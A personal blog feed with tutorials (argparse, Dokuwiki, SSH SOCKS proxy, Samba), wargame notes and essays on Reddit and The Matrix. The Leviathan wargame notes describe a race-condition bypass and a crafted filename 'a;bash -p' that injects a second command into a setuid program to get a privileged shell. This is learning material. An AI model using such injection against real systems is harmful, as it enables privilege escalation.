    def __call__(self, parser, namespace, values, option_string=None):
        setattr(namespace, self.dest, dict())
        for value in values:
            key, value = value.split('=')
            getattr(namespace, self.dest)[key] = value

parser = argparse.ArgumentParser()
parser.add_argument('-k', '--kwargs', nargs='*', action=ParseKwargs)
args = parser.parse_args()
print(args.kwargs)

First of all, notice that I’ve used nargs='*' while adding the argument via parser.add_argument. This makes sure that the argument is natively parsed as a list, check out the corresponding docs here. So our action will receive a list of strings.

Now we’re assuming that each string is a key-value pair, separated by the = character. From this, the rest of the code should be self-explanatory. We can get the name of the argument using self.dest, and then edit the values using setattr and getattr. I’m splitting the string by = and then inserting the key and value appropriately in the dictionary.

Let’s see it in action ::

sumit@HAL9000:~/Coding$ python3 kwargs.py --kwargs foo=bar fiz=biz
{'foo': 'bar', 'fiz': 'biz'}

It works!

Hope this post helped you in some way. Let me know in the comments if you have any questions. Cheers!!

Selfhosted Knowledge Base :: Dokuwiki Setup on an Ubuntu Server

Sat, 28 Mar 2020 18:30:00 GMT

Install requirements

Our server needs two basic prerequisites for Dokuwiki: php, as Dokuwiki is a php application, and apache, because of obvious reasons. Dokuwiki doesn’t need any database, so we don’t need to install any.

$ sudo apt update
$ sudo apt upgrade
$ sudo apt install apache2 php libapache2-mod-php

Download Dokuwiki

Download and extract the Dokuwiki tarball.

$ wget https://download.dokuwiki.org/src/dokuwiki/dokuwiki-stable.tgz
$ tar -xvzf dokuwiki-stable.tgz

Once it’s extracted, we need to copy the Dokuwiki files to a directory in /var/www/. I’m gonna name the directory wiki.skghosh.me, as that’s the domain name the wiki is going to be live on.

$ mkdir /var/www/wiki.skghosh.me
$ ls
dokuwiki-2018-04-22b  dokuwiki-stable.tgz
$ cp -r dokuwiki-2018-04-22b/* /var/www/wiki.skghosh.me/

Setting up Apache virtual host

We’re gonna create a copy of the default virtualhost configuration file and edit it according to our needs.

[~]$ cd /etc/apache2/sites-available/
[/etc/apache2/sites-available]$ ls
000-default.conf  default-ssl.conf
[/etc/apache2/sites-available]$ cp 000-default.conf wiki.skghosh.me.conf
[/etc/apache2/sites-available]$ ls
000-default.conf  default-ssl.conf  wiki.skghosh.me.conf
[/etc/apache2/sites-available]$ nano wiki.skghosh.me.conf

After making the edits, here are the relevant, i.e. uncommented lines of my wiki.skghosh.me.conf file:

<VirtualHost *:80>
	ServerName wiki.skghosh.me

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/wiki.skghosh.me

	<LocationMatch "/(data|conf|bin|inc|vendor)/">
		Order allow,deny
		Deny from all
		Satisfy All
	</LocationMatch>

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Notice the LocationMatch directive I’ve added. It’s an important security measure which makes sure that the internal files of Dokuwiki aren’t accessible from the public web.

Security and permissions

There are two aspects to securing and setting permissions for Dokuwiki.

Setting the proper file permissions so that Dokuwiki can access and write to files it needs. Without configuring this properly Dokuwiki can’t function.
Making sure that the internal files of Dokuwiki aren’t accessible from the public web. We’ve already covered this in the last section.

The simplest way to set proper file permissions would be giving ownership of the website root directory to the apache user.

$ sudo chown -R www-data:www-data /var/www/wiki.skghosh.me/

Finalising apache configuration

Enabling the rewrite module is needed to make sure redirects work as intended. And of course, we need to disable the default virtual host and enable ours.

$ sudo a2enmod rewrite
$ sudo a2dissite 000-default
$ sudo a2ensite wiki.skghosh.me
$ sudo systemctl restart apache2

Enabling https://

Once you’re sure that your Dokuwiki installation is working perfectly over http, you might want to switch to https. Enabling https is a breeze with Certbot, it utilises Let’s Encrypt as the CA and takes care of everything automagically.

$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt update
$ sudo apt install certbot python-certbot-apache
$ sudo certbot --apache -d wiki.skghosh.me

Creating a SOCKS Proxy via SSH Tunneling with Dynamic Port Forwarding

Fri, 06 Mar 2020 18:30:00 GMT

I recently had to access some internal websites of my college from home, these websites are usually reachable only from the intranet. The computer science department does provide a jump server as a solution, which is basically a machine that sits in the intersection between the private intranet and the public Intranet, and acts as a gateway between the two. Students usually use this as an SSH jump point, and access other lab machines or the hpc server from their home through that.

Okay, so I can access machines in the intranet through SSH. But it wasn’t apparent to me how I could use this jump server to access intranet websites painlessly. I researched about this a little bit, and turns out there is a nifty solution that uses only SSH—no VPN software is needed on the jump server. It’s called SSH tunneling with dynamic port forwarding. Basically, it redirects all of your Internet traffic through SSH to that remote machine, and in that way the remote machine acts as kind of a proxy server. Technically though, your local machine is the proxy server, a SOCKS proxy server to be exact, and you have to bind a port to that proxy service. Once the SSH tunnel and the SOCKS proxy is set-up, all you gotta do is point your browser at it, and it should work! Well, not quite, there’s a bit of a hiccup that we’ll have to take care of, but we’re getting ahead of ourselves.

SSH tunneling with dynamic port forwarding

The command for setting up the SSH tunnel required for a SOCKS proxy looks like the following ::

sumit@HAL9000:~$ ssh -N -D 9000 username@hostname

That’s it. You’ll have a working SOCKS proxy at 127.0.0.1:9000 just by running that. Configure your browser’s proxy settings, point it at the proxy server address, and all of your TCP traffic will be sent through that tunnel, into the intranet at hostname.

Only that I still couldn’t access the internal website. It was clear that the proxy was working, at least to some extent, as ifconfig.co was reporting that I was operating from hostname. After some investigation it was clear that the problem was with DNS. DNS requests don’t get forwarded through the SOCKS server by default, and the subdomain I was trying to access was purely internal, so the browser couldn’t resolve the domain name.

Enabling remote DNS through SOCKS in Firefox

Go to the Advanced Preferences page of Firefox by typing about:config in the address bar.
Search for the setting network.proxy.socks_remote_dns and turn it on.

That’s it! It worked flawlessly after that.

This post was just a quick one, for my own reference mostly. Hope it helped you too, to whatever extent that might be.

Accessing Linux Partitions from Windows through a VM and Samba

Mon, 02 Mar 2020 18:30:00 GMT

You must’ve faced the problem of accessing Linux partitions—such as ext4—from Windows if you’re running a dual boot setup. There are a few solutions to this ::

Using free third-party tools such as ext2fsd. The drawback with this approach is that these tools are rarely updated, and potentially unstable.
Using Linux File Systems for Windows. I’ve read some very good reviews of this solution on Reddit and Stack overflow, and apparently it’s very stable… but it’s not free, so there’s that.
Running a Linux VM on Windows and using that as a bridge. This approach takes some effort to set-up, but once you’ve set it up, it’s very stable and painless.

This article is going to be a pretty detailed tutorial on the third method. If you want a TLDR of the steps ::

Create a Linux VM and add the Linux partition as a physical raw disk to that VM.
Permanently mount that partition in the VM using /etc/fstab.
Install Samba and set up Samba sharing of the mounted partition. Create a set of Samba client credentials.
Connect to the Samba server from Windows—by adding it as a network location—using the client credentials created in the last step.

Now that you have the TLDR, below are the steps in detail.

Note — In this article I’ve assumed that the Linux partition is an ext4 one. But this method is not limited to that, it can work with any file system as long as you can mount it on Linux.

Create a Linux VM on your Windows guest

The first step is, obviously, creating the VM that we’re gonna use as the bridge. As for the OS, I’m going to use Ubuntu Server 18.04 LTS; any other Linux distros should work as well, you just might have to tweak the commands a bit.

As I said, I’ll be using VMware Player as the hypervisor. While setting hardware options for the VM, you’ll have to make the ext4 partition available to the VM. In VMware Player we can do this via the following steps ::

Click on Add ➝ Hard Disk ➝ SCSI ➝ Use a physical disk.
Select your drive from the drop-down menu, and select the “Use individual partitions” option in the “Usage” section.
Select the ext4 partition you wanna share and click next.
Finish the wizard by entering a name for the virtual disk file—you can just go with the default—and clicking “Finish”.

If you did these steps properly, you’d see a second hard disk added to your VM, other than your primary one. You can confirm that by running lsblk, like the following ::

sumit@hal9001:~$ lsblk
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
fd0      2:0    1   1.4M  0 disk
loop0    7:0    0  89.1M  1 loop /snap/core/8268
loop1    7:1    0  91.4M  1 loop /snap/core/8689
sda      8:0    0    10G  0 disk
├─sda1   8:1    0     1M  0 part
└─sda2   8:2    0    10G  0 part /
sdb      8:16   0 465.8G  0 disk
├─sdb1   8:17   0   450M  0 part
├─sdb2   8:18   0   100M  0 part
├─sdb3   8:19   0    16M  0 part
├─sdb4   8:20   0 120.1G  0 part
├─sdb5   8:21   0 282.6G  0 part
└─sdb6   8:22   0  62.5G  0 part
sr0     11:0    1  65.6M  0 rom
sr1     11:1    1   870M  0 rom

For me, the ext4 partition to be shared is labelled as sdb6; note this down as it might be different for you.

Set up mountpoint

Now we have to mount the partition on our Ubuntu Guest. We’re gonna add an entry to /etc/fstab so that it gets mounted automatically at the time of boot.

For that, you’ll have to create a mountpoint—which is nothing but a directory—where the ext4 partition will be mounted. I’ll be creating mine at /media/mntsdb6.

sumit@hal9001:~$ sudo mkdir /media/mntsdb6

Then add the following line to /etc/fstab using your favorite text editor ::

/dev/sdb6 /media/mntsdb6 ext4 rw,nosuid,nodev,relatime 0 0

Once you’re happy with your mount settings, run the following command to mount.

sumit@hal9001:~$ sudo mount -a

Samba is the most straightforward way of setting up network based file-sharing between a Windows system and a Linux one. Samba is a free-software implementation of the SMB networking protocol that Windows uses for sharing files, printers etc over a network. So by setting up our Linux VM as a Samba server, we can connect to that from our Windows system easily.

First of all, install Samba on the Ubuntu system ::

sumit@hal9001:~$ sudo apt install samba

After the installation is done, we have to make some changes to the Samba config file, /etc/samba/smb.conf. But before doing that, let’s keep a copy of the original, just in case things go wrong. This is always a good practice.

sumit@hal9001:~$ cd /etc/samba/
sumit@hal9001:/etc/samba$ sudo cp smb.conf smb.conf.original

Now, add the following lines to /etc/samba/smb.conf ::

[SambaShare]
path = /media/mntsdb6
public = no
writable = yes
printable = no

Then restart the samba daemon so that the changes take effect.

sumit@hal9001:/etc/samba$ sudo service smbd restart
sumit@hal9001:/etc/samba$ sudo service smbd status
● smbd.service - Samba SMB Daemon
   Loaded: loaded (/lib/systemd/system/smbd.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2020-03-03 11:46:36 UTC; 9s ago
     Docs: man:smbd(8)
           man:samba(7)
           man:smb.conf(5)
 Main PID: 3400 (smbd)
   Status: "smbd: ready to serve connections..."
    Tasks: 4 (limit: 2290)
   CGroup: /system.slice/smbd.service
           ├─3400 /usr/sbin/smbd --foreground --no-process-group
           ├─3426 /usr/sbin/smbd --foreground --no-process-group
           ├─3427 /usr/sbin/smbd --foreground --no-process-group
           └─3430 /usr/sbin/smbd --foreground --no-process-group

Mar 03 11:46:36 hal9001 systemd[1]: Stopped Samba SMB Daemon.
Mar 03 11:46:36 hal9001 systemd[1]: Starting Samba SMB Daemon...
Mar 03 11:46:36 hal9001 systemd[1]: Started Samba SMB Daemon.

Lastly, you’ll have to create a client account for the Samba server, just run the smbpasswd command like the following, replacing sumit with your username. It’ll prompt you for a new password; you’ll need that later for connecting to this Samba server from Windows.

sumit@hal9001:~$ sudo smbpasswd -a sumit
New SMB password:
Retype new SMB password:
Added user sumit.
sumit@hal9001:~$ sudo pdbedit -L
sumit:1000:Sumit Ghosh

Connect to the Samba server from Windows

For this step, you’ll need the IP address of your Linux VM. You can get that by running ip a ::

sumit@hal9001:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:bc:46:4d brd ff:ff:ff:ff:ff:ff
    inet 192.168.13.129/24 brd 192.168.13.255 scope global dynamic ens33
       valid_lft 1777sec preferred_lft 1777sec
    inet6 fe80::20c:29ff:febc:464d/64 scope link
       valid_lft forever preferred_lft forever

You can see that in my case, the IP is 192.168.13.129. Note down yours.

Now, once you have the IP of your Linux VM, go to your Windows host and do the following ::

Select “Add a network location” from the context menu you get on right-clicking on “This PC”, see the screenshot below for reference.
A wizard will open up. Select Next ➝ Choose a custom network location.
Enter \\192.168.13.129\\SambaShare\ in the “Internet or network address” box and click “Next”. It goes without saying that you put the IP you noted down in there instead of mine.
Finish the wizard by clicking Next ➝ Finish.

Once it’s added, it’ll ask you for credentials; enter the username and password you set up in the previous step using smbpasswd. And voila, you’ll get your samba drive mounted as a network location!!

Potential Drawbacks

If you don’t have enough hardware, such as RAM, to afford to keep a VM running at all time, this method is not for you.

Cryptanalysis Cheatsheet :: Notes from Overthewire Krypton

Tue, 25 Feb 2020 18:30:00 GMT

I’ve been on a wargame streak! After doing Leviathan, I jumped into Krypton and completed it; and this post is in a way a write-up of Krypton. Krypton, Leviathan, in case these words sound alien to you: well they’re wargames—or Ctfs—hosted by Overthewire.org. They’re very internet favorite and beginners often start with them, and that’s why I did exactly that. Also, instead of following the standard writeup format, this post will be more of a collection of notes for future reference.

Cracking the Caesar cipher

As there are only 26 possible key values, we can just brute force through them and select the best key. The selection of the best key can be done manually, by checking if the corresponding plaintext is English or not. It can also be done algorithmically, but for that, we’ll need some statistical measure to quantify how close the plaintext is to standard English. The following can be helpful to that end.

Chi-squared value
N-gram probability

Identifying substitution cipher: monoalphabetic vs polyalphabetic

The index of coincidence, or IC helps us in identifying whether a ciphertext was encrypted with a monoalphabetic or a polyalphabetic substitution cipher.

Index of coincidence captures the overall nature of the distribution curve of the letters, how flat or rough the distribution is; it does not capture the distribution of each individual letters. The higher the IC, the more rough// skewed the distribution of letters in the ciphertext is. Standard English has a fairly rough distribution of letters, thus a high IC count, approximately 0.067.
If the IC of the ciphertext is close to that of English, it’s a monoalphabetic cipher. If it’s considerably smaller than that of English, it’s polyalphabetic.

Monoalphabetic substitution cipher

Manual cryptanalysis

Frequency analysis :: Find the frequencies of the characters in the ciphertext and list them in descending order. Then assume that the characters—in order—correspond to the standard frequency order of characters in English; i.e. the most frequent character of the cipher is the encrypted version of ‘E’, the most frequent character in English, and so on.
Manual inspection :: The result of the previous step won’t be perfect English, but some parts of it will start to resemble English words. Identify them and keep correcting the substitution key accordingly until you reach a text in perfect English.

Algorithmic cryptanalysis

A standard hill-climbing algorithm can be used to crack monosubstitution ciphers. The algorithm starts with a random key and makes some small changes to it. If the changes result in a better key, it keeps that and makes changes in that, and in this way it carries on until it reaches a peak, i.e. no more improvement is possible.

For this, you’ll need a measure of how good your key is. As we discussed in the section on the Caesar cipher, one way to do this is to decrypt the ciphertext with the key and measure how close the resulting plaintext is to standard English. But then, you’ll need a way to quantify this closeness. Below are some statistical measures that do exactly that:

Chi-squared value
N-gram probability

Here is a script I wrote that implements this, and it can crack all monoalphabetic substitution ciphers pretty easily.

Cracking the Vignere cipher

Step 1: Finding out the key length

Once again, the index of coincidence comes to the rescue!!

Let’s assume the key length is k = 3. Now, split the ciphertext into 3 parts, one containing the 1st letter of every 3 letter blocks, other containing every 2nd letter, and another containing every 3rd letter. Calculate the IC of each part and take the average. If the average IC is close to that of English, our assumed k is the correct one. If it isn’t, try with some other value of k. In this way, we can brute force the value of k, starting from 2 and going up. Here is a more detailed explanation of this method.

Step 2: Finding out the key

Once we have the key length, we can find the key letter by letter, using the aid of chi-squared analysis. For example, the 1st letter of the key can be found out by ::

Creating a string containing the 1st letter of every block of the ciphertext.
Now, as all the letters of this string were encrypted with a single letter of the key, the problem reduces to that of a caesar cipher. We can brute force all the letters of the alphabet and find the letter which yields the best plaintext, i.e. the one with the best chi-squared value.

We can run the above two steps k times to get all the letters of the key.

Here is a script that implements the above both of the above steps, and thus automates the entire process of cracking a Vignere cipher.

Cryptanalysis of LFSR encryption

LFSR is not an encryption technique, rather, it’s an algorithm for generating pseudorandom numbers. The sequence of pseudorandom numbers generated by an LFSR can be used as the one-time pad for an encryption algorithm. However, it has a major weakness: the numbers generated are periodic, and an attacker can figure out the key using a known plaintext attack.

Berlekamp–Massey algorithm is the algorithm for cracking LFSR sequences.

The challenge on Krypton, however, is very simple and does not necessitate the Berlekamp–Massey algorithm.

Notes from Overthewire Leviathan

Mon, 10 Feb 2020 18:30:00 GMT

Recently I was free for a couple of days with nothing to do, leading to an itch to do some hacking: Ctfs, wargames and the like. For beginners, the Internet heartily recommends the Overthewire wargames, so I went for that. I had already done the Bandit wargame—you can find my notes here—so this time I started with Leviathan. In this post I’ll dump my notes; these are not exactly solutions or walkthroughs, or writeup even, rather a list of things// concepts I learned by doing this wargame that I’d like to remember. Hoping this will be of some help!

Useful Linux commands for looking for information in executable.

At first, use strings to check for strings in the binary.
Trace through the library calls using ltrace; specifically, ltrace -e strcmp can be useful for password cracking.
Trace through system calls using strace.

Interpreting the output of ls -l

The section is pretty much a rewording of this StackOverflow answer.

-rwxrw-r--    1    root   root 2048    Jan 13 07:11 afile.exe

From left to right, it displays;

File permissions
Number of links
Owner name
Owner group
File size
Time of last modification
File/ directory name

File permissions are displayed as the following;
The first character is - or l or d, indicating the nature of the object.

d: directory
-: file
l: symlink.

After that, there are three sets of characters, three characters each, indicating permissions for the owner, the group and everyone else, respectively.

r: readable
w: writable
x, s or t: executable, setuid// setgid, or sticky

Effective user id, real user id and the special permission flags

The third bit in each set of three permission bits usually is used for the x bit, which implies that the file is executable, but it can also have an s or t flag. Here is an article that goes in depth into how these special permissions work. The s flag is rather important; it’s called setuid if it’s in the owner permissions, and setgid if it’s in the group permissions. When the setuid flag is set, the file will always be executed as the owner, i.e. with the priviledges of the owner, even if some other user is executing it. Similarly, the setgid flag lets us run the executable with the priviledges of the group.

Every running program gets to see two user ids;

Real user id — The user id of the user who actually executed the program.
Effective user id — The user id with whose priviledge the executable is being run. Normally, this is the same as the real user id. But when an executable has the setuid flag set, the effective uid equals the uid of the owner.

Relevant C library functions;

geteuid, getruid, setreuid — For getting the effective user id, getting the real user id, and setting the real and effective user id at once, respectively.
access — For checking if the real user has access to a file. Even if the executable had the setuid flag set, it’d check the priviledges of the real uid, not the effective uid.

Leviathan: level 2 ➝ 3

This level was the most interesting level of Leviathan, so I’ll make an exception and kind of write a usual walkthrough for this level.

There are two vulnerabilities in this program.

Race condition — Between the first check and the second system function call, there is a time gap. If we can change the argument file—which is a symbolic link—in the meantime, we can bypass the check. We can write a simple bash script to keep doing this in a while loop, and just wait till the race condition occurs. Here is the approach explained in more detail.
Code injection — The command-line argument was passed verbatim to the C library function system, i.e. shell. So we can carefully craft a filename that would pass the first check but when it’d come to the system call, it’d do whatever we want, on an escalated priviledge. Below are some ways we can approach this
- Create two files, one named “a” and another named “a;bash -p”. On passing the 2nd filename as the argument, the program will check if I own the it, and will let us pass. but when it comes to the system call, it’d call $ cat a;bash -p, which would clearly give us a bash shell, just what we wanted.
- Or we can create three files, namely “a”, “b”, and “a b”. Then we just need to symlink “b” to the secret file and pass “a b” as the argument to the program. Voila. the contents of the secret file get printed. This happens because, as we discussed, the program passes the string we provide to system verbatim, in this case, it runs $ cat a b, which prints both “a” and “b”.

Inspecting the Self-Referentiality and Social Dynamics of Internet Forums

Sat, 01 Feb 2020 18:30:00 GMT

Introduction

When it comes to language games, Internet forums are a unique and novel kind. Internet forums—also referred to as only “forums” elsewhere in this text—are websites where people can hold conversations in the form of posted messages. In our discussion, we’ll be considering all Internet forums, but focusing on Reddit, a specific and representative example of them.

The initial goal of Reddit is communicated in its tagline—“the front page of the Internet”. Pages of all kinds from around the Internet would get posted on Reddit, and through the voting mechanism only the best ones would surface on the ‘hot’ page; in this way the website would act as a “front page” of the Internet, aggregating the best of what Internet has to offer. Furthermore, that is the model for many other popular forums on the Internet, such as Hackernews and Digg. But as research has shown, this model doesn’t hold up for Reddit; as the community grows, Reddit becomes more self-referential and less of a link aggregator¹. In the first section, we explore this aspect of forums through the lens of Wittgenstein’s language-game paradigm. In later sections, we explore how this language-game can be also be understood as part of the Lacanian symbolic order, how interpassivity plays a role in the dynamics of social navigation, and how all these ultimately conforms the nature of the posts of a forum to a particular standard, albeit the standard is different for every forum.

A peculiar three-person language-game, analyzed differentially

Language games are the emergent rules or maxims of communication, often subconsciously followed, which occur in ordinary conversation². We can not find language-games in the syntax or semantics of a linguistic construct—we cannot find them in the rules of a language; instead, they’re hidden in the meta-rules. Whereas rules dictate what’s linguistically valid, meta-rules tell us how to deal with the rules, how to use them, or where to break them. An example relevant to the Internet could be the memes that play upon language and generate alternate variations thereof—such as lolspeak³—which are humorous in the right context.

As Saussure insisted, signs or signifiers are a differential system: no sign can be defined in isolation from other signs, they can only be defined through their relations and differences with other signs. In this Sausserian spirit, we intend to get at the nature of the players involved in this language-game of Internet forums by contrasting forums with other similar platforms.

Internet forums are where people hold conversations in the form of posted messages—through this sentence, only an obvious similarity can be observed between forums and online chatrooms: they’re both places for people to have a discussion online. Chatrooms are usually used as an online replacement of real-life group discussions, wherein multiple participants converse with each other simultaneously. So, we can understand it as a many-player language-game, each of the players being human individuals. The number of players doesn’t always have to be more than two, two people hold a conversation in a chat room as well, disregarding everyone else.

The language-game being played out in Internet forums might seem similar at first glance; however, they differ from chat rooms in an important way, the point of difference being a central part of our discussion. Messages posted in chat rooms are supposed to be temporary and read by the people active at that time only, whereas messages in forums are archived—usually indefinitely—so that they’re available for any and all future visitors. When someone writes on an Internet forum, his audience is not only the person he’s replying to, rather, his audience is the entire populace of the future visitors of that thread. So, instead of it thinking of it as a language game between human individuals, we can imagine it as a three-player one, where the third person is the set of visitors to that forum.

The existence of a third-party observer to a conversation by itself is not unusual or particular to Internet forums only. Public debate, for example, is a form of discourse having a comparable format, which existed before the Internet. A difference we can notice is that the audience of a public debate is usually passive listeners, whereas in online forums, everyone is free to actively participate as they like. However, more importantly, the audience of a debate usually meets for a brief time, so there is not much opportunity for language-games to be established, and this is the key difference between them in the context of language-games.

Reddit used to describe itself as⁴,

… a source for what’s new and popular on the web. Users like you provide all of the content and decide, through voting, what’s good and what’s junk. Links that receive community approval bubble up towards #1, so the front page is constantly in motion and (hopefully) filled with fresh, interesting links.

The fundamental principle upon which Reddit works is social navigation, but it’s far from foolproof. Social navigation is defined as when “movement from one item to another is provoked as an artifact of the activity of another or a group of others”⁵. On Reddit, social navigations is materialized in the form of upvotes and downvotes: users can vote on a thread or message—either upvoting or downvoting it—and the threads with the most upvotes rise to the top, the motivation being that the most interesting links will rise to the top through this mechanism. Nevertheless, there is an underlying assumption here, assumption that most users will do the community service of going through new threads and voting on them appropriately. If most of the population don’t do that and instead rely on “others”—the symbolic order or the big Other as it’s frequently called in psychoanalysis⁶—to do this community service, the system starts to crack. This means not only the “interesting-ness” of new threads determine whether it will rise to the top, but many contingent factors also come into play as well. And this is indeed what’s happening on sites like Reddit: according to a study, Reddit overlooked 52% of the most popular links the first time they were submitted⁷.

This “crack” in the system of social navigation can be understood as a phenomenon of interpassivity. The theory of interpassivity⁸—as developed by cultural theorists Robert Pfaller and Slavoj Žižek—shows us how supposedly interactive forms of enjoyment are rather passive. An example of interpassivity is how canned laughter in TV sitcoms lets us enjoy the show without being amused ourselves; somehow, the task of enjoyment is delegated to the show itself. It can be argued that interpassivity is not only limited to consumption and enjoyment; it also extends to other social phenomena, where participation is recommended but not mandatory. One such phenomenon is social navigation in Internet forums: as long as the individuals know that the posts on the hot page are vetted by the big Other, they don’t bother doing it themselves. The fact that the big Other is nothing material—it consists of and is driven by the individuals only—gets lost in the dynamics of social navigation. We can also observe that the enjoyment of the posts—such as memes—in a forum is inherently dependent on interpassivity. One does not necessarily have to enjoy the meme or find it funny, the fact that it has been vetted and approved as funny by the community they’re part of makes it funny by itself. In this way, the quality of a post depends more on the big Other than its intrinsic nature.

Another factor behind the self-referential nature of forums is the tendency of the members to conform to the social norms. These norms might not be in the form of direct rules; they might be meta-rules that are not stated directly but internally “known” by most members. People posting on forums are aware that their message will be there for everyone, so more often than not there is kind of a peer-pressure so that he conforms to the language game and thus be accepted as a part of the community.

The existence of karma makes the previous point more prominent. Karma is the total upvotes an account has received through the various posts and comments in the forum. A high karma count is usually perceived as a sign of being an active contributor to the forum, thus warranting respect. One can easily observe that people often post messages which do not address a conversation directly, rather it appeals to the broader language-game which is familiar to the frequent visitors of that forum. In this way, the messages posted become more and more self-referential in nature. The motivation behind this being, again, the approval of the community, which is conveniently measured by the upvotes—the karma—the post got.

The association of respect and status with the sum of karma of a particular account encourages this social conformity. Thus, dissent is less likely to emerge in such a community. Contrasting it with forums like 4chan, where there is no concept of karma and every account is anonymous, we can see how there the social conformity game applies to a lesser degree, and subsequently, chances of emergence of dissent and novelty is greater.

Conclusion

To summarize, the third participant of the language-game—the big Other—takes a much more active part in forums. Human beings are social creatures, social acceptance and popularity being the fundamental currency of the social economy, especially so in an urban society like the Internet. Becoming more and more self-referential is a norm that emerged freely out of the chaos of minimal rules.

Interestingly, Reddit has changed its description. The new description reads⁹

Reddit is home to thousands of communities, endless conversation, and authentic human connection. Whether you’re into breaking news, sports, TV fan theories, or a never-ending stream of the internet’s cutest animals, there’s a community on Reddit for you.

Seemingly Reddit has understood how its fundamental nature has changed, how its not a “source for what’s new and popular on the web” anymore, rather a site for “… communities, endless conversation, and authentic human connection”.

References

Cody Buntain and Jennifer Golbeck. 2014. Identifying social roles in reddit using network structure. In Proceedings of the 23rd International Conference on World Wide Web (WWW ’14 Companion). Association for Computing Machinery, New York, NY, USA, 615–620. DOI: https://doi.org/10.1145/2567948.2579231 ↩
Wittgenstein, L. Philosophical Investigations, 1953. ↩
Lolspeak. https://knowyourmeme.com/memes/lolspeak-chanspeak ↩
https://www.reddit.com/r/reddit.com/wiki/index ↩
Dourish, P. and Chalmers, M. (1004). Running out of space: models of information navigation. Proceedings of HCI’94, Glasgow, August 1994. https://www.lri.fr/~mbl/ENS/CSCW/2013/papers/Dourish-HCI94.pdf ↩
Johnston, Adrian, “Jacques Lacan”, The Stanford Encyclopedia of Philosophy (Fall 2018 Edition), Edward N. Zalta (ed.), URL: https://plato.stanford.edu/archives/fall2018/entries/lacan/. ↩
Eric Gilbert. 2013. Widespread underprovision on Reddit. In Proceedings of the 2013 conference on Computer supported cooperative work (CSCW ’13). Association for Computing Machinery, New York, NY, USA, 803–808. DOI: https://doi.org/10.1145/2441776.2441866 ↩
Pfaller, R. Interpassivity: The Aesthetics of Delegated Enjoyment, 2017. ↩
https://www.redditinc.com/ ↩

Political Subtexts in The Matrix

Tue, 26 Nov 2019 18:30:00 GMT

I was very young, probably pre-teen, when I first watched The Matrix. I enjoyed it a lot, but obviously a lot of the finer subtexts went over my head. Recently when I watched it again, I was surprised to see how radically political—but not overtly so—this movie was. Here are some of my thoughts on the subtextual themes of the movie.

What is the Matrix?

The matrix is a constructed reality, a “neuro-interactive” computer simulation as Morpheus puts it. This reality is also a very authoritarian one. When Trinity first meets Neo, she tells him, “They’re watching you, Neo”; this surveillance clearly gives off an Orwellian vibe. It even has a secret police like the Nazi Gestapo in the form of agents. When Neo is interrogated by the agents, he explicitly calls their tactics out as “Gestapo crap”. In this way, a clear parallel is established between the matrix and authoritarian regimes like Nazi Germany and Stalinist Russia.

But the matrix differs from this typical, Orwellian world in a crucial way—the inhabitants of the matrix don’t even know that they are imprisoned, and this is where it gets interesting. The Matrix is control, but not in the way we usually think of control. A typical inhabitant of the matrix is not oppressed and controlled by the authorities at every step of their live, at least they don’t think that they are. Nonetheless, the matrix is control. As Morpheus says, the matrix is

A dream world built to keep us under control, in order to change a human being into a battery.

This “changing of human being into a battery” can be clearly seen as an allusion to an old Marxist critique of capitalism: how individuals are seen as nothing but a source of labor under the system of capitalism. Despite this, the system is a dream world, i.e. a world which would seem perfect to many. The problem of false consciousness is clear here.

It is the world that has been pulled over your eyes to blind you from the truth. The truth: you are a slave. You are born into a prison that you cannot smell or taste or touch. A prison for your mind.

Discontent and Alienation

The system works for most people, but not all. Some—like Neo—are severely alienated from and discontent with it. They “hardly sleep, live alone, night after night at the computer”. As we already discussed, the system doesn’t make its control overtly clear, but some people feel it nonetheless. They feel that something is wrong with the world, the thought is ever present like a splinter in their mind. The question, “what is the matrix”—what is this society of control and how does it work—keeps this individuals awake at night. As Morpheus tells Neo,

You’re here because you know something. What you know you can’t explain, but you feel it. There’s something wrong with the world… It is this feeling that has brought you to me.

How do they deal with this discontent? They indulge in criminal activities, especially cyber-crimes. For example in the movie, Trinity hacked the IRS database. The exact motive behind this hacking is not stated, but we can infer that their criminal activities are targeted towards the authorities, as kind of a rage against the machine.

Morpheus as a Radical Extremist

So the movie pretty clearly establishes that the Matrix is the enemy, the big bad. We’ve also seen how Matrix has strong parallels with Deleuzian society of control, more specifically the contemporary liberal, democratic capitalism. Many people are content with the system, but some aren’t. They also know that the contentment of the majority is based on a lie, and they intend to emancipate them from this lie—the matrix.

But what stroke me as most interesting was how Morpheus and his crew deal with the Matrix, cause it’s not that morally unambiguous as it might seem at the first glance.

At a point in the movie, Morpheus speaks,

The matrix is a system, Neo. that system is our enemy. Until we save the people, the people are part of the system, and that makes them our enemy. You have to understand that most of these people are not ready to be unplugged. Many of them are so inert, so hopelessly dependent on the system that they will fight to protect it. Anyone we haven’t unplugged, is potentially an agent.

There is no allusion here, this is a direct call to regard ordinary civilians trapped within the matrix as enemies. Morpheus is clearly organizing a violent revolution for the sake of “truth”, against the whole system without any regard for individuals. Combine that with Morpheus’s believe in fate and his part in the prophecy that’ll come to be, one can see how Morpheus’s movement is not far from radical extremism. Whether that’s justified or not is left to be commented upon.

Why Did I Create This Blog

Fri, 25 Oct 2019 18:30:00 GMT

I like to indulge in philosophy—broaden my understanding of the human condition and the various socio-political issues we’re laden with. Recently I’ve come to understand that becoming a more knowledgeable individual by itself doesn’t amount to much, not unless I do something with it. As a thinking individual, writing down my thoughts and sharing them with the netizens is the least I could do. As Noam Chomsky said,

IT IS THE RESPONSIBILITY of intellectuals to speak the truth and to expose lies. — The Responsibility of Intellectuals, Noam Chomsky

Besides, I’ve always found that writing down my thoughts helps me a lot: helps me come to terms with my thoughts, face them, and understand them. If I don’t write them down, they start building up, which leads to general discontent and anxiety. This is especially true of negative thoughts. In the case of positive thoughts, well, writing them down is essential too because having them in written form is a massive help at times of crisis.

